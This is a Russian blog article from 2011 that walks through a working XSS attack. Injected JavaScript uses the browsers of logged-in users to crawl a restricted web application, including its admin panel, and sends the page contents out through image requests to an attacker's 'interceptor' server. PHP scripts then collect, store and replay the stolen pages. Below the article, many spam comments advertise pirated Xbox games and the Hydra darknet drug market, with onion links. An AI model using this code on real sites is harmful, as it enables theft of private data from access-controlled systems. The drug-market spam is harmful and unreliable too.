понедельник, 30 мая 2011 г.

Статья "XSS: Разведка боем"

Здравствуйте. Рады представить вам статью одного из наших участников на тему нестандартного использования XSS-уязвимостей. В ней рассказывается как  с помощью нехитрого JS-кода и простого PHP-приложения получать визуальные копии целых веб-приложений от лица сторонних пользователей.
Рекомендуем сразу качать PDF-вариант чтоб читать материал в нормальном оформлении и с адекватной шириной страницы.

Автор: Кузьмин Антон anton.kuzmin.russia@gmail.com http://anton-kuzmin.blogspot.com/
Команда: Hack4sec hack4sec.team@gmail.com http://hack4sec.blogspot.com/
Дата: 30-05-2011
PDF-вариант: https://hack4sec.opendrive.com/files?29123800_FYGqD

Здравствуйте. В данной статье я хочу привести один не стандартный пример использования XSS-уязвимостей. По крайней мере раньше я ни разу не видел чтоб подобные вещи где-то описывались.
Представим себе следующую ситуацию. Есть сайт victim.xss. На нём располагается 2 веб-приложения. Одно не совсем важное для вас, имеющее XSS-уязвимость (пассивную/активную — не важно). К нему доступ у вас есть. И одно которое вас очень интересует, но доступа к которому вы не имеете (при обращении сервер возвращает код 403 или 401). Кроме того, вы даже не знаете как оно устроено внутри и что из себя представляет. При этом попытки кражи идентификационных данных тех людей, которые этот доступ имеют, ничего не дают — cookies идут с флагом HTTP-only, а веб-сервер не поддерживает метод TRACE, авторизированные сессии привязываются к IP-адресам или доступ к приложению ограничен по IP. Вообщем, если что и делать, то только используя обнаруженную в первом приложении XSS, заставлять браузеры имеющих доступ пользователей выполнять необходимые вам действия. Но какие? Ведь структуры второго приложения вы не знаете.
Решение здесь одно — пользуясь браузерами авторизованных лиц узнать содержимое страниц закрытого приложения. Из содержимого станет понятна его структура (ссылки, контент), а зная её можно строить дальнейший план действий.
Теперь вопрос за технической стороной. Здесь есть два варианта. Первый — «смотреть» страницы поодиночке. То есть код, помещённый через XSS в первое приложение, будет запрашивать интересующую ссылку с сервера атакующего, как-то её открывать (XHR/IFRAME) и передавать содержимое хозяину. Затем атакующий выбирает из полученного следующую ссылку, и так раз за разом приложение потихоньку будет «раскрываться». Это хоть и медленный вариант (его практическое применение может растянуться на недели), но зато самый лёгкий в реализации и полностью безопасный за счёт своей точечности для целевого приложения. Ведь каждый раз атакующий сам будет выбирать какую страницу просматривать.
Второй — «смотреть» страницы рекурсивно по нескольку штук, передавая полученные коды на сервер для исследования хозяином. Скорость данного варианта очень высока и полное раскрытие структуры приложения, при его большом размере, может занять менее дня (при интенсивном использовании со стороны клиентов). Но здесь есть и свои подводные камни. Например, можно случайно пройти по ссылке удаления чего-нибудь. Тем не менее, ниже я опишу именно этот вариант.

Подготовка
Итак, что нам понадобится? Для начала нужно создать 2 виртуальных хоста — victim.xss и interceptor.xss. Первый будет играть роль жертвы, второй — координационного сервера. В корне victim.xss нужно разместить файл xss-page.html. Он будет имитировать уязвимую к XSS-атакам страницу. Затем нужно установить приложение которое мы будем исследовать. Представим что доступа туда у нас нет. Я взял на эту роль форум SMF 1.13 и поместил его в директорию /forum/. После установки не забудьте войти в его админ-панель, чтоб при проведении экспериментов код-исследователь мог пролезть и туда. Далее на victim.xss разместите скрипт jQuery. Я решил использовать его, а не «голый» JS, просто для экономии времени и упрощения кода. К тому же сейчас на многих сайтах стоят различные JS-фреймворки которые при работе с XSS могут очень сильно облегчить нападающему  жизнь.
Работа наша будет проходить следующим образом. В xss-page.html помещаем нужный код, открываем его в браузере который уже авторизирован на форуме и смотрим результат. Кстати, для слежения за результатами хорошо подойдёт FireBug со своим логированием сетевой активности.
Вот начальный код xss-page.html:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <title></title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  </head>
  <body>
    <a href="/forum/index.php">Закрытое приложение</a>
   
    <script type="text/javascript" src="/jquery-1.6.1.min.js"></script>
    <script type="text/javascript">
    alert('XSS');
    </script>
  </body>
</html>

Вместо «alert('XSS');» мы и будем размещать всё что нам понадобится.
Пока мы не начали основное действо нужно сделать небольшое отступление. Дело в том, что реализовать всё вышеописанное можно двумя способами — используя или XHR или Iframe. В самом начале работы над статьёй я выбрал второй вариант из-за его иллюзорной простоты. Судите сами — или работать через XHR и извлекать ссылки для последующего обхода с помощью регулярных выражений, либо работать с Iframe и доставать необходимые данные уже обращаясь к DOM документа, что само по себе легче, особенно с jQuery. Но не всё так просто, как кажется на первый взгляд. Перейти на XHR меня заставил тот факт что iframe нельзя заставить работать синхронно со скриптами. К тому же при попытке логирования происходящих действий я заметил очень странное поведение iframe`а — при открытии множества страниц с разными URL под ряд он по нескольку раз открывал одни и те же страницы, хотя такого вообще быть не должно. Причину я найти так и не смог, и в итоге решил просто обратиться к XHR.

Пользовательская часть. Сбор ссылок.
Приступим. Для начала необходимо объявить 2 глобальных массива, в первый из которых мы будем складывать ссылки для исследования, а во второй поместим уже исследованные адреса, дабы избежать повторений. Как вы наверное уже догадались, при большом объёме (в плане контента) целевого приложения второй массив будет постоянно расти и расти, что может негативно сказаться на размерах потребляемой браузером памяти. По другому, к сожалению, никак. Можно, конечно, поработать над уменьшением объёма хранимой информации (например хранить не ссылки, а их хеши), но эта тема выходит за рамки данной статьи.
Итак. Назовём эти массивы links, и checked.

var links = [];
var checked = [];

Теперь нужно создать несколько функций по работе с ними. Адреса для проверки нам потребуется и добавлять, и удалять из соответствующего массива. А вот проверенные ссылки мы будем только добавлять. Кроме этого нам понадобится функция проверки адресов на наличие в массиве checked. Исходя из этих требований напишем 4 небольшие функции.

function delLink(link) {
    // Если ссылка есть в общем массиве удаляем её
    if($.inArray(link, links) != -1)
        links.splice($.inArray(link, links), 1);
}

function addLink(link) {
    // Если ссылки в общем массиве нет, и она не относится к проверенным,
    // то мы можем её добавить
    if($.inArray(link, links) == -1 && !isChecked(link))
        links[links.length] = link;
}

function addChecked(link) {
    // Если ссылки в массиве проверенных нет, можно добавлять её туда
    if($.inArray(link, checked) == -1)
        checked[checked.length] = link;
}

function isChecked(link) {
    return $.inArray(link, checked) != -1;
}

Теперь объявим переменную limit. В неё поместим число ссылок, которое будет проверять атакуемый браузер за один раз. Оно обязательно должно быть небольшим чтоб не создавать пользователю лишних проблем.


var limit = 30;

И можем приступать к основной работе. Для её начала нам нужно иметь хотя бы одну ссылку. Её можно взять с сервера атакующего, а можно получить самостоятельно, что мы и сделаем. Как раз на xss-page.html имеется одна ссылка ведущая на интересующее нас приложение. Получим её вот так:

$('a').each(function(){
    if(this.href.indexOf('http://' + window.location.hostname) != -1 &&
       this.href != window.location.href)
    {
        addLink(this.href);
    }
});

Возможно вас удивит первое условие — наличие фрагмента «http://текущий-хост» в начале ссылки. Оно здесь потому, что мы работаем с DOM. А раз так, то получаем уже не то что написано в «href», а полноценные адреса подготовленные браузером, начинающиеся с «http://».
После того как исходные ссылки готовы, мы можем приступать к основным действиям. Для этого вызовем один раз функцию parseNextLink(). Как видно из её названия, обрабатывать ссылки мы будем по одиночке. Это даст нам полный контроль над ситуацией и снимет нагрузку на браузер, который при асинхронной проверке (и обработке содержимого) 30-50 ссылок начинает заметно тормозить. Что она будет делать? Вначале она проверит на истинность два условия: есть ли непроверенные ссылки в соответствующем массиве, и достигло ли количество ссылок в checked значения обозначенного в limit. Если хоть одно условие верно, функция прекращает работу кода. Если оба из них ложны — вызовет getLinks(), объявление которой описано ниже.

function parseNextLink() {
    if(checked.length >= limit || !links.length)
        return;
   
    // Проверяем последнюю ссылку из links
    getLinks(links[links.length-1]);
}

Ну и самая главная функция, которая будет проверять страницы и получать с них новые ссылки, - getLinks().

function getLinks(url) {
    addChecked(url); // Отмечаем эту ссылку как проверенную
    delLink(url); // Удаляем её из нуждающихся в проверке
   
    $.ajax({
        url: url,
        type: 'get',
        async: false,
        dataType: 'html',
        success: function(data){
            // Тут код извлечения ссылок из ответа
        }
    });
    parseNextLink();
}

Как видите, работает она в синхронном режиме. Сразу по завершении своей работы (ответ получен и обработан) вызывается parseNextLink(), которая, если не прервёт работу, то этой же функции передаст новую ссылку для проверки.
Теперь стоит подробнее рассмотреть код обработки полученных данных. В его начале запустим бесконечный цикл извлечения ссылок по регулярному выражению. Он остановится только тогда, когда из текущего ответа не будет более извлечено совпадений.

var hrefRegexp = /href=['"](.*?)['"]/ig;
while(true) {
    var result = hrefRegexp.exec(data);
    if(result == null) break;
    ...
}

При таком регулярном выражении exec() будет возвращать массив из двух ячеек с индексами 0 и 1. В первой будет лежать всё совпадение вместе с «href=», а во второй только содержимое «href='...'». Оно нам и нужно

var link = result[1];

Теперь один очень важный момент. Чтоб наш код случайно не открыл ссылку выхода из аккаунта, очистки cookies или ещё чего вредного, нам нужно соорудить механизм игнорирования неугодных адресов. Сделаем это так. Объявим глобальный массив с выражениями, присутствующими в таких ссылках.

var ignore  = ["logout","delete"];

А при обработке данных обойдём его, и поищем совпадения в текущем результате.

for(ign in ignore) {
    if(link.indexOf(ignore[ign]) != -1) {
        link = ''; // Пустой она дальше никуда не пройдёт
        break;
    }
}

Следующим шагом нам необходимо подстраховаться от дублей ссылок с «#». По сути для GET-запросов, которые мы шлём по средствам XHR, ссылки типа
http://victim.com/index.php
http://victim.com/index.php#aaa
Абсолютно одинаковы. Их содержимое может различаться только тогда, когда в зависимости от того что идёт после # страница на клиентской стороне меняется сама. Чтоб это произошло её надо обработать, а в нашем случае никакой обработки браузером получаемых страниц не происходит. Следовательно, нужно от таких ссылок избавляться. Сделаем это простым вырезанием всего что идёт после #.

link = (link.indexOf("#") != -1) ? link.substr(0, link.indexOf("#")) : link;

Ну и теперь ссылку можно помещать в общий массив, предварительно проверив её на принадлежность нашему целевому хосту.

if(link.indexOf('http://' + window.location.hostname) == 0)
    addLink(link);

Обратите внимание на то, что эта проверка может не сработать на других приложениях. SMF сам во все свои ссылки подставляет текущий хост, а, например, тот же phpBB3 этого не делает.
Ну вот и всё. Часть отвечающая за сбор ссылок готова. Теперь при запуске скрипт будет наполнять массивы links и checked рекурсивно обходя найденные URL. Убедиться в том что всё идёт верно можно с помощью вызова console.log() в нужных местах скрипта, ну и поглядывая в сетевой монитор FireBug.

Пользовательская часть. Отчётность.
На данный момент выполнена лишь половина всей работы. Очередь за отправкой данных на сторону сервера, который подконтролен атакующему. Здесь, опять же, есть 2 варианта действий. Во-первых, можно создать на странице невидимый iframe, через изменение его html-кода создать внутри него форму, направленную на нужный сервер, заполнить необходимыми данными (код страницы, её URL) и отправить методом POST. А можно сделать эту же операцию, но с помощью JS-класса Image(). То есть создавать для каждой страницы изображение, указывать в его свойстве src путь к серверу, и в этот путь ещё помещать данные для передачи типа
http://interceptor.com/log.php?url=...&code=...
На самом деле первый вариант только кажется простым. При его реализации возникает множество проблем. Например отправив первую форму нужно снова очистить iframe и «нарисовать» вторую, что нельзя будет сделать из-за Same Orign Policy, ведь в нём уже будут данные с другого сервера. Можно конечно изменить src на адрес принадлежащий целевому домену, дождаться загрузки и взяться менять код уже тогда, но это целая куча действий, которых в случае с Image() можно вообще не производить. Поэтому мы всё сделаем именно с помощью этого JS-класса.
Здесь стоит остановиться и вспомнить про то, что при передаче исходных кодов в URL можно нарваться на ошибку «414 Request-URL Too Long». Чтоб такого не произошло, мы будем слать код на сервер по частям. То есть делать несколько запросов под ряд. А количество символов передаваемого за раз кода обозначим в соответствующей глобальной переменной.

var transferCodeLen = 1000;

На стандартной конфигурации Apache этого числа вполне достаточно. И теперь опишем саму функцию передачи данных. Она будет принимать url передаваемой страницы (чтоб на сервере можно было связать принимаемый код с отдельной ссылкой) и её html-код.

function sendToInterceptor(url, html) {
    var img = new Image;
    do {
        img.src = "http://interceptor.xss/intercept.php?url=" + escape(url) + "&html=" + escape(html.substr(0, transferCodeLen));
        html = html.substr( transferCodeLen );
    } while ( html.length > 0 );
}

Как видите, всё до безобразия просто — режем код на куски и, пока он не кончится, по очереди запрашиваем получившиеся URL на сервере-перехватчике.
Теперь займёмся скриптом intercept.php. Он будет делать простейшую вещь — принимать 2 уже известных вам параметра, записывать ссылку в ./urls.txt (там будут собираться адреса всех принятых ссылок), а html-содержимое вносить в файл ./pages/md5-хеш-url.

$url  = urldecode($_GET['url']);
$hash = md5($url);
file_put_contents("./pages/$hash", urldecode($_GET['html']), FILE_APPEND);
file_put_contents("./urls.txt", $url . "\n", FILE_APPEND);

Обратите внимание на то, что содержимое страниц постоянно дозаписывается. То есть перед каждым полностью новым запуском атаки нужно будет очищать содержимое папки pages.
Вернёмся к JS. Вызов функции sendToInterceptor() необходимо поместить прямо после окончания while-цикла обработки ссылок. Когда он закончился самое время отправить полученный html-код перехватчику т. к. далее произойдёт проверка следующего адреса.

Серверная часть. Сохранение результатов.
Следующий этап — сохранение состояния сканирования и последующее к нему возвращение. Вы же помните что в самом начале мы объявляли переменную limit, призванную сделать работу нашего кода практически незаметной? Естественно когда пользователь зайдёт на данную страницу ещё раз (то есть снова вызовет наш код) мы должны продолжить сканирование именно с того места, где остановились в прошлый раз. Следовательно, нам нужно как-то передать на сторону клиента старые массивы links и checked. Последний мы уже можем передавать т. к. его содержимое это фактически содержимое файла ./urls.txt. А вот первым сейчас и займёмся. Для этого напишем функцию report(). Она объединит всё содержимое links в одну строку, и уже знакомым нам методом передаст на сервер.

function report() {
    links   = escape(links.join("|||"));
   
    var img = new Image;
    do {
        img.src = "http://interceptor.xss/command.php?act=save&links=" + links.substr(0, transferCodeLen);
        links = links.substr( transferCodeLen );
    } while ( links.length > 0 );
}

Её вызов нужно поместить в parseNextLink(), как раз перед единственным «return;» останавливающем всю работу.
Теперь возьмёмся за скрипт command.php. Он будет выполнять такие действия как сохранение материала и отдача клиенту данных прошлого сканирования. Сохранение происходит крайне просто:

switch($_GET['act']) {
    case 'save':
        $links = urldecode($_GET['links']);
        file_put_contents("./links.txt", $links, FILE_APPEND);
    break;
}

А вот над выдачей старых данных придётся немного поработать. Из основного кода уберём объявление массивов links и checked, и заменим их script-тегом, обращающимся к interceptor.xss.

<script type="text/javascript" src="http://interceptor.xss/command.php?act=get"></script>

В command.php, в случае приёма «get», считаем данные из urls.txt и links.txt, превратим их в массивы, переведём в JSON и выведем на экран, предварительно подписав в начале «var имя-переменной =»

if(file_exists("./links.txt") AND filesize("./links.txt") > 0) {
    $links = file_get_contents("./links.txt");
    $links = explode("|||", $links);
    $links = json_encode($links);
} else $links = "[]";
print "var links = $links;";
   
if(file_exists("./urls.txt") AND filesize("./urls.txt") > 0) {
    $checked = file("./urls.txt");
    $checked = array_map('trim', $checked);
    $checked = json_encode($checked);
} else $checked = "[]";
print "var checked = $checked;";

Возможно вас смутят строки типа

} else $links = "[]";

Я тоже сначала подумал что можно через json_encode() прогнать пустой массив и получится что-то типа

var links = [];

Но это не так. Получается

var links = [""];

А эта пустая ячейка только создаст нам проблем. И в конце этого кода необходимо очистить ./links.txt, ведь скоро придёт новая партия ссылок и они будут уже совсем другими.

file_put_contents("./links.txt", "");

В возвращении списка проверенных ссылок есть один нюанс. Функция parseNextLink() проверяет достижение лимита именно по количеству записей в checked. А как только сканирование пойдёт второй раз (checked уже будет иметь количество ссылок размером в лимит) лимит нам необходимо будет увеличить, чтоб работа сразу же не остановилась. Поэтому в начало кода, после описания переменной limit, добавим вот такую строку:

limit = checked.length + limit;

Вы наверное уже догадались что с ./urls.txt необходимо тоже что-то делать. Там постоянно будут скапливаться повторяющиеся URL. Ими мы займёмся в самом конце, когда содержимое links уже будет сохранено. Для этого отведём отдельную ячейку нашего основного switch, которая будет выполнятся если в параметре «act» будет передано слово «end». 

if(file_exists("./urls.txt") AND filesize("./urls.txt") > 0) {
    $urls = file("./urls.txt");
    $urls = array_map('trim', $urls);
    $urls = array_unique($urls);
    file_put_contents("./urls.txt", implode("\n", $urls));
}

А вызов всего этого поместим в конце уже описанной функции report():

img.src = "http://interceptor.xss/command.php?act=end";

Итак. Основная часть работы полностью закончена. Что у нас есть? При первом обращении клиент начинает новое сканирование, стартовыми ссылками при котором являются те, что расположены на уязвимой странице. В процессе сканирования на сервер-перехватчик передаётся содержимое всех страниц к которым он обращается. В конце серверу отправляются ссылки которые стояли в очереди, но из-за достижения лимита не смогли быть проверены. При последующих просмотрах уязвимой страницы сканирование уже будет продолжаться с того места, где оно закончилось в прошлый раз.
На данный момент у нас имеется полностью рабочий вариант кода позволяющего записывать содержимое страниц получаемых от чужого лица (или, правильнее сказать, от чужого браузера). Остаётся только один небольшой штрих. Чтоб XSS-вставка не растягивалась на один script-тег и огромный кусок JS-кода, мы поместим его на сервер intercept.xss, в файл /static.js, а при запросе действия «get», сразу после вывода содержимого двух основных массивов, добавим строку

readfile("./static.js");

Теперь XSS-вставка на уязвимой странице состоит только из одного script-тега, что вполне приемлемо для реальных условий.

Серверная часть. Просмотр результатов.
Наконец перейдём к визуализации всего что получено нашим скриптом. Выглядеть это будет так. При обращении к определённому скрипту (назовём его view.php) будет отображаться страница с двумя фреймами, в первом из которых будет расположен список доступных ссылок, а во втором по мере запросов будет отображаться их содержимое. Основу view.php будет составлять массив шаблонов, хранящий в себе все необходимые html-конструкции, и одна switch-конструкция, которая в зависимости от значения параметра «act» будет выполнять те или иные действия. Если этого параметра не будет передано вообще, то скрипт отобразит набор фреймов.

<?php
$tpl = array();
$tpl['up'] = <<<HTML
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <title>Просмотр страниц</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  </head>
HTML;
$tpl['down'] = <<<HTML
</html>
HTML;
$tpl['frames'] = <<<HTML
    {$tpl['up']}
    <frameset cols="350,*">
        <frame src="/view.php?act=menu" name="leftFrame" scrolling="yes"/>
        <frame src="/view.php?act=blank" name="mainFrame" />
    </frameset>
    {$tpl['down']}
HTML;
   
$act = isset($_GET['act']) ? $_GET['act'] : '';
switch($act) {
    default:
        print $tpl['frames'];
    break;
}

Если в «act» будет передано «menu» мы считаем все ссылки из urls.txt и выведем их по отдельному шаблону.

$urls = file("./urls.txt");
foreach(array_map('trim', $urls) as $url)
     printf($tpl['url'], md5($url), $url);

Сам шаблон:

$tpl['url'] = <<<HTML
    <a href="/view.php?act=view&page=%s" target="mainFrame" style="font-size:10px;">%s</a><br />
HTML;

В шаблоне фреймов видно что есть ещё и вариант параметра «act» с содержимым «blank». Это начальная страница нашего просмотрщика. Вот её шаблон:

$tpl['blank'] = <<<HTML
    {$tpl['up']}
    <body>
        Выберите URL для просмотра
    </body>
    {$tpl['down']}
HTML;

и код

print $tpl['blank'];

Ну и самый последний шаг — просмотр перехваченных страниц. Здесь всё достаточно тривиально. Выше вы видели что при открытии страницы скрипту передаётся её хеш. То есть для начала нам нужно просто получить содержимое одного файла из директории pages.

$content = file_get_contents("./pages/" . $_GET['page']);
$content = stripslashes($content); // Удаляем слеши оставленные escape()

Затем следует один интересный момент. Мы заменим в этом коде ссылки имеющиеся у нас в ./urls.txt на ссылки к скрипту view.php. Это сильно улучшит навигацию по перехваченному контенту, ведь искать каждый раз интересующую вас ссылку в левом меню довольно надоедливое занятие. А так вы сможете просто кликнуть по ней как будто вы работаете непосредственно с атакованным приложением.

$urls = file("./urls.txt");
foreach(array_map('trim', $urls) as $url)
    $content = str_replace("\"$url\"", "/view.php?act=view&page=" . md5($url), $content);

Стоит остановиться на кавычках в первом аргументе str_replace(). В нашем случае они двойные т. к. в ссылках SMF содержимое параметра «href» обрамляется именно ими. В других случаях кавычки могут быть одинарные, или их вообще может не быть. Если же производить замену без их учёта, просто меняя один URL на другой, то можно столкнуться с ситуацией, когда у вас в ссылках замене подвергнется лишь часть. Например ссылка
http://site.com/index.php?a=1&b=2
будет «изломана» view.php-аналогом ссылки
http://site.com/index.php?a=1
Поэтому данный фрагмент кода, как и некоторые описанные до этого, требуют подгонки под конкретное приложение.
И теперь завершающий штрих, опять же, улучшающий навигацию. Мы вновь обратимся к jQuery. Будем подключать его к каждой отображаемой странице, а следом за ним выведем код, который все ссылки, не содержащие фразу «view.php?act=view», перечеркнёт. Таким образом мы сразу будем видеть те ссылки, содержимым которых мы владеем.
Вот html-шаблон:

$tpl['links-script'] = <<<HTML
    <script type="text/javascript" src="/jquery-1.6.1.min.js"></script>
    <script type='text/javascript'>
        $('a').each(function(){
            if(this.href.indexOf('view.php?act=view') == -1) {
                $(this).css('text-decoration', 'line-through');
            }
        });
    </script>
HTML;

А вод код, которым должно кончаться действие view:

print "$content\n{$tpl['links-script']}";

Пример того что получается в итоге:


На скриншоте хорошо видно что JS-код смог пробраться даже в админ-панель и считать оттуда пару страниц. Обратите внимание - отображение страничек полностью идентично натуральному. Как будто мы находимся непосредственно внутри форума. Так получилось потому что внутри параметров href были найдены ссылки на css-стили, которые, соответственно, были автоматически нашим кодом подгружены. С victim.xss тут запрашиваются только картинки. Хотя вы можете модифицировать всё вышеприведённое таким образом, чтоб с целевого приложения «забирались» ещё и графические элементы.

Напоследок.
И напоследок хотелось бы сказать о нескольких важных моментах. Первый. В конце страниц SMF находится JS-код, вызывающий сильное торможение при отображении в просмотрщике. Кончается всё тем, что Firefox предлагает попросту остановить выполнение сценариев. Он идёт перед самым последним div`ом, содержащим текст «Loading...». Лучше его автоматически вырезать при записи в директорию pages.
Второй. Для быстрого тестирования результата повышайте лимит адресов до 100 или даже 200. Но при этом не забывайте отключать FireBug. При таком количестве запросов он будет страшно тормозить браузер.
Ну и третий. Не следует использовать данный материал в целях противоречащих нашим законам. Он опубликован лишь как небольшое собственное исследование и только для ознакомления.

Файлы к данной статье можно скачать по ссылке https://hack4sec.opendrive.com/files/?29121529_Qt7zi

141 комментарий:

  1. Консоли от компании Microsoft не сразу захватили всемирную известность и доверие игроков. 1-ая консоль под названием Xbox, вышедшая в далеком 2001 году, значительно уступала PlayStation 2 по количеству проданных приставок. Но все изменилось с выходом Xbox 360 - консоли седьмого поколения, которая стала по-настоящему "народной" для жителей России и стран СНГ - Программы для FreeBoot. Веб-сайт Ru-Xbox.Ru является популярным ресурсом среди поклонников приставки, так как он предлагает игры для Xbox 360, которые поддерживают все имеющиеся версии прошивок - совершенно бесплатно! Зачем играть на оригинальном железе, в случае если имеется эмуляторы? Для Xbox 360 игры выходили длительное время и представлены как посредственными проектами, так и хитами, многие из которых даже сейчас остаются эксклюзивными для это консоли. Некие гости, желающие сыграть в игры для Xbox 360, смогут задать вопрос: зачем необходимы игры для прошитых Xbox 360 freeboot или разными версиями LT, в случае если имеется эмулятор? Рабочий эмулятор Xbox 360 хоть и существует, но он просит производительного ПК, для покупки которого будет нужно вложить существенную сумму. К тому же, современные артефакты в виде исчезающих текстур, отсутствия некоторых графических эффектов и освещения - могут значительно попортить впечатления об игре и отбить желание для ее предстоящего прохождения. Что предлагает этот веб-сайт? Наш сайт полностью посвящен играм для приставки Xbox 360. У нас вы можете совершенно бесплатно и без регистрации загрузить игры на Xbox 360 через torrent для следующих версий прошивок консоли: - FreeBoot; - LT 3.0; - LT 2.0; - LT 1.9. Каждая прошивка имеет свои особенности обхода интегрированной защиты. Потому, для запуска той либо прочей игры будет нужно загрузить специальную ее версию, которая стопроцентно приспособлена под одну из четырех вышеперечисленных прошивок. На нашем веб-сайте вы можете без усилий найти желаемый проект под подходящую прошивку, поскольку возле каждой игры находится заглавие версии (FreeBoot, LT 3.0/2.0/1.9), под которую она приспособлена. Пользователям данного ресурса доступна особая категория игр для 360-го, созданных для Kinect - специального дополнения, которое считывает все движения одного либо нескольких игроков, и позволяет управлять с помощью их компьютерными персонажами. Большой выбор ПО Кроме возможности загрузить игры на Xbox 360 Freeboot либо LT различных версий, здесь вы можете подобрать программное обеспечение для консоли от Майкрософт: - разнообразные версии Dashboard, которые позволяют кастомизировать интерфейс консоли под свои нужды, сделав его более комфортным и нынешним; - браузеры; - просмотрщики файлов; - сохранения для игр; - темы для консоли; - программы, для конвертации образов и записи их на диск. Помимо вышеперечисленного игры на Xbox 360 Freeboot можно запускать не с дисковых, а с USB и многих других носителей, используя программу x360key, которую вы можете достать на нашем интернет-сайте. Посетителям доступно огромное количество полезных статей, а также форум, где можно пообщаться с единомышленниками или попросить совета у более опытных владельцев консоли.

    ОтветитьУдалить
  2. Скрытные закупки продуктов – как работать с сайтом Хидра в закрытом интернете hydra hydra9webe Сурск

    ОтветитьУдалить
  3. Основной реестр не верифицируемых платежных кошельков очень просто отыскать в магазине hydraclubbioknikokex7njhwuahc2l67lfiz7z36md2jvopda7nchid ссылка на гидру онион hydra9webe. Всякий клиент, направляя деньги на закрытый виртуальный адрес, не может потом доказать законность собственных манипуляций. Не стоит забывать, что не верифицированный способ транзакций денежек не дает стопроцентной гарантии сделки. Ни для кого не скрывают, что в сети интернет имеется множество сайтов с возможностью транзакций денежек скрытно.

    ОтветитьУдалить
  4. Сайт Hydra способствует юзерам сетки искать единомышленников в результате обсуждения на конкретную их тему. Доля архивов или сервисов требуют оплаты, но множество проведения досуга представлены в виде ознакомительных источников. На портале гидра площадка также есть громадное число полезной информации – специальные интерактивные курсы, игры и маркет товаров.

    ОтветитьУдалить
  5. Для захода на hydra com Сурск надо загрузить специализированный веб-браузер – TOR. Имеется возможность применить зеркало для осуществления закупок на маркете Hydra RU. Админы магазина ГидраРУ каждый день освежают свежие адреса для авторизации на форум. Лишь только благодаря браузеру TOR всякий покупатель имеет возможность зайти в даркнет.

    ОтветитьУдалить
  6. Как закупаться на платформе ГидраUnion сайт гидра вход 2022

    ОтветитьУдалить
  7. Как быстро осуществить вход на странице онлайн-магазина ГидраРУ в текущем году гидра купить наркотики 2022

    ОтветитьУдалить
  8. Современное ПО гидра hydra тор 2022 устанавливает адекватную протекцию от преступников. Многие люди судят, что гарантировать сто процентную защиту в интернет сети нереально, но это является серьезным предрассудком. TOR – надежный веб-обозреватель, что нужно применять для просмотра информации в инете.

    ОтветитьУдалить
  9. Взломщики реализуют свою деятельность по различным причинам. Медийный инетрнет-сайт http://maisoncarlos.com/UserProfile/tabid/42/UserID/1042986/Default.aspx – ваш уверенный ассистент для борьбы с атаками хакеров. В большинстве случаев хакеры взламывают клиентов на предмет денежной выгоды. В мире ИТ методов очень легко стать объектом удара хакеров.

    ОтветитьУдалить
  10. С целью приобретения веществ на сайте ЮнионHYDRA привлекают виртуальные платежные системы, либо биткоины. Пользователю нет причины самолично общаться с поставщиком, всякую закупку допускается оплачивать удаленно. Изменение крипты дает средство всем юзерам магазина http://tekst-pesni.ru/index.php?name=account&op=info&uname=apidu проводить безымянные сделки на всяком расстоянии.

    ОтветитьУдалить
  11. Влагостойкая фанера ФСФ - область использования двп, дсп, мдф в витебске

    ОтветитьУдалить
  12. Как быстро залогиниться на маркетплейс Гидра с компьютера ссылка на гидру hydra ru zerkalo site

    ОтветитьУдалить
  13. Все посетители получают HydraRU 100% поддержку от админов портала. Купить требуемую продукцию на Hydra RU можно с использованием электронных кошельков или токенов. Для оплаты товаров http://cg361.com/home.php?mod=space&uid=61326, в основном, применяют виртуальный денежные средства. Деньги при покупке идут на транзитный счет маркетплейса, а после приемки продуктов – вернутся продавцу.

    ОтветитьУдалить
  14. Сетевой доступ приносит возможность использовать немыслимое количество сведений практически свободно https://steelnsk.ru/communication/forum/user/919528/. С развитием веб-технологий равносильно повышают незаконные методы воздействия злодеи, что функционируют в Глобальной паутине. Посещая Глобальную сеть нужно наперед озаботиться о защите стационарного устройства и находящейся на нем информации.

    ОтветитьУдалить
  15. Безымянная оплата веществ на портале HydraЮнион http://cn-sh.cn/space-uid-111508.html

    ОтветитьУдалить
  16. И http://www.higherwayedu.com/2014/08/study-in-georgia.html – один из наиболее посещаемых форумов, рекомендуемый зашедшим пользователям огромнейший ассортимент развлечений. В сети есть немыслимое количество мест проведения досуга. Интернет развлечения и личные взаимосвязи среди пользователей предваряет создавать общества единомышленников по конкретным тенденциям.

    ОтветитьУдалить
  17. Какие есть вариации безопасности в интернете http://weimei58.com/home.php?mod=space&uid=290099

    ОтветитьУдалить
  18. Зайти на зеркало сумеет, как новый посетитель, и уже авторизованный юзер. Представленные коды надежно хранятся на частном сервере. Учитывая особую специфику проекта http://xxxextreme.org/index.php?subaction=userinfo&user=odotytob, осуществить вход в него можно с помощью зеркала. Добавочные зеркалки для регистрации в системе Hydra RU непрерывно обновляются.

    ОтветитьУдалить
  19. На смартфоне пользователя, в большинстве случаев, хранится необходимая информация о финансах, которая является целью злодеев. По большей части ищут сведения о банковских картах юзера, либо email от разных соцсетей https://ssilka-sait.a-hydra.com. Сняв конкретную информацию о пользователе, мошенники могут использовать материалы для собственных целей. Особенную угрозу имеют шпионы для новейших смартфонов.

    ОтветитьУдалить
  20. Немыслимый выбор вещей маркетплейса обязательно наполняется новыми продуктами по действительно выгодной цене. Пользователь получает твердую гарантию по получению товара в hydraclubbioknikokex7njhwuahc2l67lfiz7z36md2jvopda7nchid кошелек гидры. Админы следят, чтобы все представленные дилеры оперативно выполняли контракт. Форум HydraRU станет помощником всех торговых делах меж покупателем и реализатором.

    ОтветитьУдалить
  21. Безопасный вход на форум Hydra RU – полезные товары по наиболее актуальной цене http://487q.cn/space-uid-420799.html

    ОтветитьУдалить
  22. Криптовалюта – это очень доступный порядок провести покупку на HydraRU. Пополнить баланс легко можно в частном кабинете клиента по завершении регистрации. Проплата продуктов на сайте hydra вход на сайт производится в обязательном порядке в онлайн варианте. Для перевода требуется использовать биткоины и итериум. Для гарантированной сделки продукта чаще всего применяют крипту.

    ОтветитьУдалить
  23. Особенно современные предложения для охраны домашнего компьютера ссылка на гидру через браузер

    ОтветитьУдалить
  24. Не во всех кошельках обязательно вписывать индивидуальные данные, необходимо всего лишь отыскать особую систему платежей. Только раскрученные системы электронных платежей требуют полноценной подтверждения клиента. Заполучить скрытность получается всего лишь на индивидуальной платформе http://www.kingarno.de/index.php?option=com_agora&task=profile&page=preview&user_id=107620.

    ОтветитьУдалить
